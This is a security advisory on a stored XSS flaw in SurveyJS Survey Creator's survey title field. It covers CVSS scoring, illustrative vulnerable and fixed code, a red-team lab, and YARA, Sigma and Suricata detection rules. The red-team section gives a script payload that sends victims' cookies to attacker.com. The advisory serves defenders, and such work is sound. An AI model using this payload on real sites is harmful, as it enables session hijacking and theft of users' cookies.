CVE-2024-28635

Executive Summary

CVE-2024-28635 is a stored Cross-Site Scripting (XSS) vulnerability in SurveyJS Survey Creator versions 1.9.132 and earlier. The flaw resides in the title parameter of form creation, allowing an attacker to inject arbitrary JavaScript code. When a victim views the crafted survey, the injected script executes in their browser context, enabling data theft, session hijacking, or further client-side attacks. The vulnerability has a CVSS score of 6.1 (Medium) due to the requirement for user interaction and the scope change. No official patch has been released by the vendor, and exploitation is publicly documented.

Supply Chain & Package Security

SurveyJS is distributed as an npm package (survey-creator). Organizations using this package in their Node.js or frontend build pipelines are at risk. The vulnerability affects the client-side JavaScript library, meaning any application that embeds Survey Creator with user-controlled title parameters is vulnerable. Supply chain risk is elevated because the package is widely used for form building, and no patched version exists. Teams should audit their package.json for survey-creator versions <= 1.9.132 and consider temporary mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger.
• User Interaction (UI): Required (R) – Victim must view the crafted survey.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and public PoC increases the urgency for detection and mitigation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Survey Creator's form builder. When a user creates a survey, the title parameter is not properly sanitized before being stored and later rendered in the survey preview or administration interface. An attacker can inject a payload such as:

<script>alert(document.cookie)</script>

When an administrator or other user views the survey list or the survey itself, the script executes. The attack flow:

1. Attacker logs into the Survey Creator interface.
2. Attacker creates a new survey and sets the title field to a malicious payload.
3. Attacker saves the survey.
4. Victim (e.g., another admin) navigates to the survey list or preview.
5. Victim's browser renders the unsanitized title, executing the injected script.
6. Script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

The root cause is the lack of output encoding or input validation on the title parameter. The vulnerable code likely uses innerHTML or similar DOM manipulation without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (survey-creator <= 1.9.132):

// Example vulnerable rendering
function renderSurveyTitle(title) {
    document.getElementById('survey-title').innerHTML = title;
}

Patched Code (hypothetical fix):

// Patched version using textContent or sanitization
function renderSurveyTitle(title) {
    const sanitizedTitle = DOMPurify.sanitize(title);
    document.getElementById('survey-title').textContent = sanitizedTitle;
}

Since no official patch exists, the fix must be applied manually by the developer. The patched code uses textContent instead of innerHTML and applies a sanitization library like DOMPurify.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Survey Creator v1.9.132 via npm: npm install survey-creator@1.9.132
2. Set up a simple HTML page that includes the Survey Creator library.
3. Create a survey with a malicious title.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Navigate to the Survey Creator interface.
2. Create a new survey.
3. In the "Title" field, paste the payload.
4. Save the survey.
5. Send the survey link to the victim.
6. Victim views the survey, and the script executes, sending their cookies to the attacker's server.

Blue Team

Detection:

• Monitor for unusual survey titles containing <script> tags or event handlers.
• Use web application firewalls (WAF) to block XSS payloads in form fields.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for survey creation events with suspicious title patterns.
• Review database entries for the title field containing HTML/JavaScript.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the Survey Creator interface.
• Host: Browser console errors or unexpected script execution.
• File: Survey JSON objects containing <script> tags in the title field.
• Log: Survey creation logs with titles containing %3Cscript%3E (URL-encoded <script>).

Detection Engineering

YARA Rule

rule CVE_2024_28635_XSS_SurveyJS {
    meta:
        description = "Detects XSS payloads in SurveyJS title fields"
        author = "Valters IT"
        date = "2024-03-15"
        reference = "CVE-2024-28635"
    strings:
        $xss_payload = /<script[\s>]/ nocase
        $xss_event = /on\w+\s*=/ nocase
        $xss_src = /src\s*=\s*['"]?javascript:/ nocase
    condition:
        any of them
}

Sigma Rule

title: SurveyJS XSS via Title Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts in SurveyJS title field
author: Valters IT
logsource:
    category: web
    product: generic
detection:
    selection:
        http.method: POST
        http.url: '/survey/create'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28635 SurveyJS XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/survey/create"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Input Sanitization: Implement server-side validation to strip HTML tags from the title field.
3. Output Encoding: Use textContent instead of innerHTML when rendering survey titles.
4. CSP: Deploy a strict Content Security Policy that disallows inline scripts.

Long-Term Fix:

• The vendor should release a patched version that sanitizes the title parameter.
• Developers should use a library like DOMPurify to sanitize user input before rendering.

Workaround:

• Disable the ability for non-admin users to create surveys if possible.
• Manually review all survey titles for malicious content.

Valters IT